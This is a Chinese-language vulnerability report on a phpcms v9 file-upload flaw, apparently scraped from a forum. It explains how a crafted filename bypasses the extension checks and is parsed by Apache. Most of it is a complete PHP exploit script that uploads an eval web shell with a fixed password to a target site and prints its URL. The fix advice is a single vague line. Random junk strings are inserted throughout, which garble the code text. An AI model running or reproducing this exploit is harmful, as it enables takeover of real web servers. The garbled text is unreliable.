漏洞类型: 文件上传导致任意代码执行
. V1 i( b1 T2 n8 T- P# g1 F
2 L0 B f# s2 Z0 ?+ o( u简要描述:7 J/ n! m/ {9 H- A2 J" f) ~+ E
- t$ n; h7 a) a5 Y8 lphpcms v9 getshell (apache): }! V# q( Q, q- F8 M! u
详细说明:( C Y N- e3 b$ c' M8 ]6 l# a
$ q, s+ n- N+ W h- z漏洞文件:phpcms\modules\attachment\attachments.php
8 j9 v! f+ u2 a5 v/ l; {: r. C3 N8 L% S+ _, V
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } % J6 u; I; `4 M; s1 ]
后缀检测:phpcms\modules\attachment\functions\global.func.php
0 x$ z! t1 g5 J- k/ k" f5 H) F$ ~3 w) a: O
1 M* M% I+ z/ i
% \3 D( j9 U( a2 kfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
5 b$ M- R9 F8 H9 P9 j: \* p7 }, W+ M# }# G5 D+ ?9 w
关键函数:
* g+ ?6 t% @7 S& x3 `) h, E
, S2 K4 l* E# c' i7 } " B, P4 g$ T6 F0 e
7 m+ X/ H9 h' c. p2 M* q( tfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } ) n3 y) [9 Z( K, G# o
" I% t8 ]3 @+ f* f: K Fileext函数是对文件后缀名的提取。
1 Z- Z4 [& K9 v' E# |3 {% F根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
& N. }- o9 _1 `5 C8 _. C% R8 b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
" ^: j. Y- Z3 E; t& R7 P6 w2 F我们回到public function crop_upload() 函数中
& {! d" [) O* a8 eif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit(); d% n- {0 C, t. s3 @
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数4 u5 K* u* p; E# B$ [4 t: j
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。1 H8 l2 E2 T. J/ b/ {
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。8 A# _/ _8 F9 ]- E
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。5 R+ Z/ o7 E! r: A1 N
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。6 M& A+ w/ o1 c2 _0 M" u9 a
漏洞证明:
1 N9 o' `+ j# ?4 ?8 w5 b, m& C$ f/ ~: f4 O
exp:% o. f' V7 s, n5 L2 G
! Q2 U, p5 e, m$ Q: K: O$ T<?php' f8 }" J4 ~5 Q4 w$ ~2 R
error_reporting(E_ERROR);
; z, j2 a" P- t3 D/ H4 Cset_time_limit(0);0 K0 K& P$ m, }+ I$ j6 x( x- o; x
$pass="ln";4 ?5 r7 t' \" l" a& N3 N
print_r('. _3 m/ o9 a* v
+---------------------------------------------------------------------------+' O: U( ]0 Q" I) U, c& S
PHPCms V9 GETSHELL 0DAY }, z) U6 x. f A. `
code by L.N.
6 }, P3 x* o# j& F/ k# P7 I# G$ j u7 d: J8 [) ^& A% H6 b
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net! J! @5 C1 K* d M3 ]: P" p
+---------------------------------------------------------------------------+3 U4 w2 ~0 Z, [7 K# q) B
');' A5 p5 [; w* K3 J$ \7 E+ F: A# g& M
if ($argc < 2) {2 ]4 |/ @( s% C$ B4 J. h, o m
print_r('' I, G8 y: U$ b4 B
+---------------------------------------------------------------------------+9 O* B7 Y4 U1 `6 |& b6 l7 T/ l
Usage: php '.$argv[0].' url path+ o$ M! O4 R! s: |3 J
. C. e7 [: R8 v8 s
Example:
) Q( g) }! q% ~/ i1.php '.$argv[0].' lanu.sinaapp.com1 u$ y" `' H$ | I: {2 E3 w
2.php '.$argv[0].' lanu.sinaapp.com /phpcms9 e# E" C' x; g1 U+ v
+---------------------------------------------------------------------------++ c: |1 |/ r- \, c7 A ]! q
');: O0 Z* k B& A) s% S
exit;& E# m: D |( k( F
}6 }- Q; S3 j! G9 \6 n( K
3 \4 R& [* ]; F# O8 i7 D ? T+ R$url = $argv[1];. X m/ I, n/ m0 H6 D
$path = $argv[2];
A& N2 G- ?+ A$ G* H$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
* {7 A$ j$ O( Q7 [& z$ n$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
: a( n3 ~/ I8 F8 dif($ret=Create_dir($url,$path))
4 \9 S" M' h! \ F" B, Z{
! x% O% t( Z5 H7 O8 D3 s% j//echo $ret;
5 V- d$ M ?0 y$ a9 a) [$pattern = "|Server:[^,]+?|U";
{% w9 K5 [9 hpreg_match_all($pattern, $ret, $matches);2 K" c: U! z \! l' P
if($matches[0][0])! [8 s9 [6 N1 }. A
{% W Q7 {+ |" j S2 e
if(strpos($matches[0][0],'Apache') == false)$ Z8 [' @# n+ a! {2 h8 F8 H
{
8 w; s! {- U$ ~echo "\n亲!此网站不是apache的网站。\n";exit;8 z: _3 F) G. x% g
}
$ j+ z; f2 `$ P* L0 m}+ R! l% m% {: E" k* Z" r3 o% w
$ret = GetShell($url,$phpshell,$path,$file);. E; O4 E, s; o6 f
$pattern = "|http:\/\/[^,]+?\.,?|U";
! [$ ~- |! s( T) ]( j) K5 cpreg_match_all($pattern, $ret, $matches);
3 q6 |: m- B; g. J0 \5 y0 dif($matches[0][0])0 d4 `% y q+ F7 L( i
{+ z. ~$ i5 u3 z4 {
echo "\n".'密码为: '.$pass."\n";, @- R/ \* P" G" y. k$ H0 Y% T
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 E1 k, _8 Z4 Q% Q( L3 @
}+ u3 i* ]: m5 m5 Q
else! G) ] d% c# }$ F* T( D
{
( k1 E" m) C9 V) X# W2 p$pattern = "|\/uploadfile\/[^,]+?\.,?|U";# v. R0 U- h0 [! T9 n+ n
preg_match_all($pattern, $ret, $matches);
! t8 s# R) I3 Y! _if($matches[0][0])) _# V: i a. v4 ?% C
{
3 l6 l& Q, j: W, xecho "\n".'密码为: '.$pass."\n";
) H1 l) k; L! H6 |/ [! b: M: Decho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
+ q; B+ e& w2 E4 T6 S}! e. w" C) B$ m3 z% s; S8 q; V
else
k1 K- V% l8 }( U{
/ K: n& b O/ ?echo "\r\n没得到!\n";exit;
4 \- \5 A2 p+ [1 q}
8 {- [7 t: x5 s1 ?/ }. H0 w. [7 W}1 b* a* S0 J2 @6 N2 M& j
}6 z! t: u9 w7 z6 R; y
1 g. N6 ?$ q' Y9 L
function GetShell($url,$shell,$path,$js)
1 ~! s5 q; p; k& N8 T{2 C9 U8 b( y7 U# B8 b
$content =$shell;! w, o! g2 A& p: l; N. u( R
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";) t# p/ w+ j( Q- p4 k! Q
$data .= "Host: ".$url."\r\n";
) T8 m0 [6 k& e8 j. j$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- j; E# O4 Y0 F" m9 f0 `
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 O6 y* i- A% O1 D$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";; X7 z* w+ C D- ?
$data .= "Connection: close\r\n";: z$ ^* Y. r( w3 @' o& c5 \
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
# S3 s x. z1 C! {1 s/ G$data .= $content."\r\n";0 v7 C- n& L/ I8 g6 a9 l3 ^, W/ t
$ock=fsockopen($url,80);9 V( w C4 [( O
if (!$ock)! Z' G' ?3 `; J0 k, @1 A
{
1 P7 ]( q$ Z2 ]+ S: \- V8 Oecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& }; h2 l J% C
}+ Z; V$ v# L% F! t
else' \8 ~1 n& s0 J5 O( `6 n
{
# ]+ c% H$ X* b' V4 m* Qfwrite($ock,$data);. Q+ X# m( R) H( J
$resp = '';3 P% U) O( C$ \2 D! G$ R) F8 X. o
while (!feof($ock))
. O7 S* q( v' Q. I; Y2 Q{
) R+ H: h/ m; z- t$resp.=fread($ock, 1024);* K1 q0 G- Z. t% u
}
8 g' A$ C o0 n2 C' x U1 Hreturn $resp;
# e/ U- k4 S5 O8 v2 X}5 n2 l" K' J0 N" _4 ?: k
}
' G0 H8 J% a% _2 m7 e' s
# E! b( _8 i7 A9 dfunction Create_dir($url,$path='')
0 l ~ {& g# k) E+ Z* e+ J; d{
' a/ I0 }0 x7 |" k# y$content ='I love you';
9 @' m: `$ J7 c# u$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 H. V5 G; J; Q" D# m$data .= "Host: ".$url."\r\n";! X5 ^. _+ K8 A% H" f2 I9 ^
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. y) v r: O, g$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 d" K; {1 x! K$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; w Y. i9 E: I9 v$data .= "Connection: close\r\n";
1 Q& Q( n! {$ e- ?+ d$data .= "Content-Length: ".strlen($content)."\r\n\r\n";' k* Q; `1 B1 B+ e
$data .= $content."\r\n";" d, D" [& H5 B
$ock=fsockopen($url,80);
& U$ j2 C5 x/ v: I" jif (!$ock)0 T/ ^# i: w6 D$ O( K
{
( _ U. ^9 @; ` x( Lecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;' d' y! p K( l6 s9 o2 H: ?# Z
}' r8 ^; W3 o' A2 q% {
fwrite($ock,$data);
( g# _% a" j2 f$resp = '';
, v* e; X; N2 Hwhile (!feof($ock))
' }7 @- N, L) Z5 b{5 o1 D9 b. T! s- X) g
$resp.=fread($ock, 1024);
X* Z) W3 h& s1 ^6 y$ n, x}
3 T4 _0 B& t, v: D) c' yreturn $resp;
2 M& l# G6 R; o% L# d) A}. O6 v' i. {- i& l
?>
* Z% @% S ^, \6 d
% p7 e4 l* t7 s6 {修复方案: V2 k% `( ]( a, s- j9 @2 x
& g4 v1 ?* `; q# h
过滤过滤再过滤
: T5 y' e0 V7 Z/ K( _3 I
8 B N3 t# i% H% Z* E |